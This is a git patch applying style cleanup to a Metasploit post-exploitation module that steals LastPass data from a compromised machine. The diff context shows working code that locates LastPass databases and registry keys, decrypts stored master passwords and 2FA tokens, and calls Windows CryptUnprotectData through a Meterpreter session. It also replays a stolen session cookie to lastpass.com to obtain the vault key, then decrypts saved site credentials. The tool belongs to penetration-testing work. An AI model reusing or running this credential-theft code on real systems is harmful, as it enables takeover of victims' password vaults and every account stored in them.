From 2ddac42be7015145daa8f165ac9c179a35cfbaa4 Mon Sep 17 00:00:00 2001 From: Martin Vigo Date: Sat, 19 Dec 2015 23:33:32 -0800 Subject: [PATCH] Perform Rubocop cleanup --- modules/post/multi/gather/lastpass_creds.rb | 122 ++++++++++---------- 1 file changed, 60 insertions(+), 62 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 462c691026..4849006dfc 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Post 'Firefox' => "#{user_profile['LocalAppData']}/.lastpass", 'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage" } - cookies_path_map = { #TODO + cookies_path_map = { # TODO 'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Cookies", 'Firefox' => "", # It's set programmatically 'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Cookies" @@ -119,7 +119,7 @@ class Metasploit3 < Msf::Post 'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage", 'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage" } - cookies_path_map = { #TODO + cookies_path_map = { # TODO 'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Cookies", 'Firefox' => "", # It's set programmatically 'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Cookies", @@ -157,9 +157,9 @@ class Metasploit3 < Msf::Post data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginUsers") if data.blank? paths |= ['HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass'] if !data.blank? && path != "Low\\LastPass" # Hacky way to detect if there is access to user's data (attacker has no root access) elsif browser == "Firefox" # Special case for Firefox - paths |= firefox_profile_files(path, browser) + paths |= firefox_profile_files(path) else - paths |= file_paths(path, browser, account) + paths |= file_paths(path) end vprint_good "Found #{paths.size} #{browser} databases for #{account}" @@ -195,13 +195,11 @@ class Metasploit3 < Msf::Post end # Extracts the databases paths from the given folder ignoring . and .. - def file_paths(path, browser, account) + def file_paths(path) found_dbs_paths = [] files = [] - if directory?(path) - files = directory_entries(path) - end + files = directory_entries(path) if directory?(path) files.each do |file_path| unless %w(. .. Shared).include?(file_path) found_dbs_paths.push([path, file_path].join(system_separator)) @@ -212,7 +210,7 @@ class Metasploit3 < Msf::Post end # Returns the profile files for Firefox - def firefox_profile_files(path, browser) + def firefox_profile_files(path) found_dbs_paths = [] if directory?(path) @@ -231,7 +229,7 @@ class Metasploit3 < Msf::Post credentials = [] data = nil - if(prefs_path == nil) # IE + if prefs_path.nil? # IE data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginUsers") data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', "LoginUsers") if data.blank? return [] if data.blank? @@ -243,10 +241,10 @@ class Metasploit3 < Msf::Post # Extract master passwords data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginPws") - data = Base64.encode64(data) if !data.blank? + data = Base64.encode64(data) unless data.blank? else # Firefox loot_path = loot_file(prefs_path, nil, 'firefox.preferences', "text/javascript", "Firefox preferences file") - return [] if !loot_path + return [] unless loot_path File.readlines(loot_path).each do |line| if /user_pref\("extensions.lastpass.loginusers", "(?.*)"\);/ =~ line usernames = encoded_users.split("|") @@ -269,7 +267,7 @@ class Metasploit3 < Msf::Post creds_per_user.each_with_index do |user_creds, index| parts = user_creds.split('=') for creds in credentials - creds[1] = parts[1] if creds[0] == parts[0] # Add the password to the existing username + creds[1] = parts[1] if creds[0] == parts[0] # Add the password to the existing username end end credentials @@ -281,7 +279,7 @@ class Metasploit3 < Msf::Post if encrypted_data.include?("|") # Use CBC decipher = OpenSSL::Cipher.new("AES-256-CBC") decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and | - encrypted_data = encrypted_data[26..-1] #Take only the data part + encrypted_data = encrypted_data[26..-1] # Take only the data part else # Use ECB decipher = OpenSSL::Cipher.new("AES-256-ECB") end @@ -310,12 +308,12 @@ class Metasploit3 < Msf::Post unless ieffcreds.blank? ieffcreds.each do |creds| if creds[1].blank? # No master password found - account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = {'lp_password' => nil} + account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = { 'lp_password' => nil } else sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.unescape(creds[0])) sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin creds[1] = decrypt_data(sha256_binary_email, URI.unescape(creds[1])) - account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = {'lp_password' => creds[1]} + account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = { 'lp_password' => creds[1] } end end end @@ -335,7 +333,7 @@ class Metasploit3 < Msf::Post sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0]) sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin row[1].blank? ? row[1] = nil : row[1] = decrypt_data(sha256_binary_email, row[1]) # Decrypt master password - account_map[account][browser]['lp_creds'][row[0]] = {'lp_password' => row[1]} + account_map[account][browser]['lp_creds'][row[0]] = { 'lp_password' => row[1] } end end end @@ -343,19 +341,19 @@ class Metasploit3 < Msf::Post end end - #Extracts the 2FA token from localStorage + # Extracts the 2FA token from localStorage def extract_2fa_tokens(account_map) account_map.each_pair do |account, browser_map| browser_map.each_pair do |browser, lp_data| if browser.match(/Firefox|IE/) path = lp_data['localstorage_db'] + system_separator + "lp.suid" - data = read_remote_file(path) if file_exists?(path) #Read file if it exists + data = read_remote_file(path) if file_exists?(path) # Read file if it exists data = windows_unprotect(data) if data != nil && data.size > 32 # Verify Windows protection loot_path = loot_file(nil, data, "#{browser.downcase}.lastpass.localstorage", "application/x-sqlite3", "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}") account_map[account][browser]['lp_2fa'] = data else # Chrome, Safari and Opera loot_path = loot_file(lp_data['localstorage_db'], nil, "#{browser.downcase}.lastpass.localstorage", "application/x-sqlite3", "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}") - if !loot_path.blank? + unless loot_path.blank? db = SQLite3::Database.new(loot_path) token = db.execute( "SELECT hex(value) FROM ItemTable " \ @@ -368,7 +366,7 @@ class Metasploit3 < Msf::Post end end - #Print all extracted LastPass data + # Print all extracted LastPass data def print_lastpass_data(account_map) lastpass_data_table = Rex::Ui::Text::Table.new( 'Header' => "LastPass Accounts", @@ -418,7 +416,7 @@ class Metasploit3 < Msf::Post db = SQLite3::Database.new(lp_data['lp_db_loot']) result = db.execute( "SELECT data FROM LastPassData " \ - "WHERE username_hash = '" + OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'accts'" + "WHERE username_hash = '" + OpenSSL::Digest::SHA256.hexdigest(username) + "' AND type = 'accts'" ) if result.size == 1 && !result[0].blank? @@ -447,12 +445,12 @@ class Metasploit3 < Msf::Post if !user_data['lp_password'].blank? && user_data['iterations'] != nil # Derive vault key from credentials lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations']) else # Get vault key decrypting the locally stored one or from the disabled OTP - if !browser_checked + unless browser_checked decrypt_local_vault_key(account, browser_map) browser_checked = true end - if lp_data['lp_creds'][username]['vault_key'] == nil # If no vault key was found yet, try with dOTP - otpbin = extract_otpbin(account, browser, username, lp_data) + if lp_data['lp_creds'][username]['vault_key'].nil? # If no vault key was found yet, try with dOTP + otpbin = extract_otpbin(browser, username, lp_data) otpbin.blank? ? next : otpbin = otpbin[0..31] lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otpbin) end @@ -475,7 +473,7 @@ class Metasploit3 < Msf::Post data = read_remote_file(lp_data['cookies_db'] + system_separator + cookie_jar_file) next if data.blank? if /.*PHPSESSID.(?.*?).lastpass\.com?/m =~ data # Find the session id - loot_path = loot_file(lp_data['cookies_db'] + system_separator + cookie_jar_file, nil, "#{browser.downcase}.lastpass.cookies", "text/plain", "#{account}'s #{browser} cookies DB") + loot_file(lp_data['cookies_db'] + system_separator + cookie_jar_file, nil, "#{browser.downcase}.lastpass.cookies", "text/plain", "#{account}'s #{browser} cookies DB") session_cookie_value = session_cookie_value_match break end @@ -526,12 +524,12 @@ class Metasploit3 < Msf::Post # Use the cookie to obtain the encryption key to decrypt the vault key uri = URI('https://lastpass.com/login_check.php') request = Net::HTTP::Post.new(uri) - request.set_form_data("wxsessid" => URI.unescape(session_cookie_value),"uuid" => browser_map['lp_2fa']) + request.set_form_data("wxsessid" => URI.unescape(session_cookie_value), "uuid" => browser_map['lp_2fa']) request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8' response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) { |http| http.request(request) } # Parse response - next if !response.body.match(/pwdeckey\="([a-z0-9]+)"/) # Session must have expired + next unless response.body.match(/pwdeckey\="([a-z0-9]+)"/) # Session must have expired decryption_key = OpenSSL::Digest::SHA256.hexdigest(response.body.match(/pwdeckey\="([a-z0-9]+)"/)[1]) username = response.body.match(/lpusername="([A-Za-z0-9._%+-@]+)"/)[1] @@ -544,36 +542,36 @@ class Metasploit3 < Msf::Post end # Returns otp, encrypted_key - def extract_otpbin(account, browser, username, lp_data) + def extract_otpbin(browser, username, lp_data) if browser.match(/Firefox|IE/) if browser == "Firefox" path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp" else # IE path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + ".sotp" end - otpbin = read_remote_file(path) if file_exists?(path) #Read file if it exists + otpbin = read_remote_file(path) if file_exists?(path) # Read file if it exists otpbin = windows_unprotect(otpbin) if otpbin != nil && otpbin.match(/^AQAAA.+/) return otpbin else # Chrome, Safari and Opera db = SQLite3::Database.new(lp_data['lp_db_loot']) result = db.execute( "SELECT type, data FROM LastPassData " \ - "WHERE username_hash = '"+OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'otp'" + "WHERE username_hash = '" + OpenSSL::Digest::SHA256.hexdigest(username) + "' AND type = 'otp'" ) return (result.blank? || result[0][1].blank?) ? nil : [result[0][1]].pack("H*") end end - def derive_vault_key_from_creds username, password, key_iteration_count + def derive_vault_key_from_creds(username, password, key_iteration_count) if key_iteration_count == 1 - key = Digest::SHA256.hexdigest username + password + key = Digest::SHA256.hexdigest username + password else - key = pbkdf2(password, username, key_iteration_count.to_i, 32).first + key = pbkdf2(password, username, key_iteration_count.to_i, 32).first end key end - def decrypt_vault_key_with_otp username, otpbin + def decrypt_vault_key_with_otp(username, otpbin) vault_key_decryption_key = [lastpass_sha256(username + otpbin)].pack "H*" encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otpbin) decrypt_data(vault_key_decryption_key, encrypted_vault_key) @@ -581,14 +579,14 @@ class Metasploit3 < Msf::Post def retrieve_encrypted_vault_key_with_otp username, otpbin # Derive login hash from otp - otp_token = lastpass_sha256( lastpass_sha256( username + otpbin ) + otpbin ) # OTP login hash + otp_token = lastpass_sha256(lastpass_sha256(username + otpbin) + otpbin) # OTP login hash # Make request to LastPass uri = URI('https://lastpass.com/otp.php') request = Net::HTTP::Post.new(uri) request.set_form_data("login" => 1, "xml" => 1, "hash" => otp_token, "otpemail" => URI.escape(username), "outofbandsupported" => 1, "changepw" => otp_token) request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8' - response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) {|http| http.request(request) } + response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) { |http| http.request(request) } # Parse response encrypted_vault_key = nil @@ -631,21 +629,21 @@ class Metasploit3 < Msf::Post rg = session.railgun pid = session.sys.process.getpid process = session.sys.process.open(pid, PROCESS_ALL_ACCESS) - mem = process.memory.allocate(data.length+200) + mem = process.memory.allocate(data.length + 200) process.memory.write(mem, data) - if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86" - addr = [mem].pack("V") - len = [data.length].pack("V") - ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) - len, addr = ret["pDataOut"].unpack("V2") + if session.sys.process.each_process.find { |i| i["pid"] == pid } ["arch"] == "x86" + addr = [mem].pack("V") + len = [data.length].pack("V") + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) + len, addr = ret["pDataOut"].unpack("V2") else - addr = Rex::Text.pack_int64le(mem) - len = Rex::Text.pack_int64le(data.length) - ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16) - pData = ret["pDataOut"].unpack("VVVV") - len = pData[0] + (pData[1] << 32) - addr = pData[2] + (pData[3] << 32) + addr = Rex::Text.pack_int64le(mem) + len = Rex::Text.pack_int64le(data.length) + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16) + pData = ret["pDataOut"].unpack("VVVV") + len = pData[0] + (pData[1] << 32) + addr = pData[2] + (pData[3] << 32) end return "" if len == 0 @@ -661,7 +659,7 @@ class Metasploit3 < Msf::Post 'Indent' => 1, 'Columns' => %w(URL Username Password) ) - if user_data['vault_loot'] == nil # Was a vault found? + if user_data['vault_loot'].nil? # Was a vault found? print_error "No vault was found for #{username}" next end @@ -679,8 +677,8 @@ class Metasploit3 < Msf::Post # Parse vault vault = Base64.decode64(encoded_vault) vault.scan(/ACCT/) do |result| - chunk_length = vault[$~.offset(0)[1]..$~.offset(0)[1]+3].unpack("H*").first.to_i(16) # Get the length in base 10 of the ACCT chunk - chunk = vault[$~.offset(0)[0]..$~.offset(0)[1]+chunk_length] # Get ACCT chunk + chunk_length = vault[$~.offset(0)[1]..$~.offset(0)[1] + 3].unpack("H*").first.to_i(16) # Get the length in base 10 of the ACCT chunk + chunk = vault[$~.offset(0)[0]..$~.offset(0)[1] + chunk_length] # Get ACCT chunk account_data = parse_vault_account(chunk, user_data['vault_key']) lastpass_vault_data_table << account_data if account_data != nil end @@ -694,15 +692,15 @@ class Metasploit3 < Msf::Post end end - def parse_vault_account(chunk, vaultKey) + def parse_vault_account(chunk, vault_key) pointer = 22 # Starting position to find data to decrypt labels = ["name", "folder", "url", "notes", "undefined", "undefined2", "username", "password"] vault_data = [] for label in labels - length = chunk[pointer..pointer+3].unpack("H*").first.to_i(16) - encrypted_data = chunk[pointer+4..pointer+4+length-1] - label != "url" ? decrypted_data = decrypt_vault_password(vaultKey, encrypted_data) : decrypted_data = [encrypted_data].pack("H*") - decrypted_data = "" if decrypted_data == nil + length = chunk[pointer..pointer + 3].unpack("H*").first.to_i(16) + encrypted_data = chunk[pointer + 4..pointer + 4 + length - 1] + label != "url" ? decrypted_data = decrypt_vault_password(vault_key, encrypted_data) : decrypted_data = [encrypted_data].pack("H*") + decrypted_data = "" if decrypted_data.nil? vault_data << decrypted_data if (label == "url" || label == "username" || label == "password") pointer = pointer + 4 + length end @@ -732,8 +730,8 @@ class Metasploit3 < Msf::Post # Reads a remote file and loots it def loot_file(path, data, title, type, description) - data = read_remote_file(path) if data == nil # If no data is passed, read remote file - return nil if data == nil + data = read_remote_file(path) if data.nil? # If no data is passed, read remote file + return nil if data.nil? loot_path = store_loot( title, @@ -762,9 +760,9 @@ class Metasploit3 < Msf::Post begin root_key, base_key = session.sys.registry.splitkey(key) reg_key = session.sys.registry.open_key(root_key, base_key, KEY_READ) - return nil if not reg_key + return nil unless reg_key reg_value = reg_key.query_value(value) - return nil if not reg_value + return nil unless reg_value rescue vprint_error "Error reading registry key #{key} and value #{value}" end @@ -781,7 +779,7 @@ class Metasploit3 < Msf::Post db = SQLite3::Database.new(lp_data['lp_db_loot']) result = db.execute( "SELECT data FROM LastPassData " \ - "WHERE username_hash = '"+OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'key'" + "WHERE username_hash = '" + OpenSSL::Digest::SHA256.hexdigest(username) + "' AND type = 'key'" ) encrypted_vault_key = result[0][0] end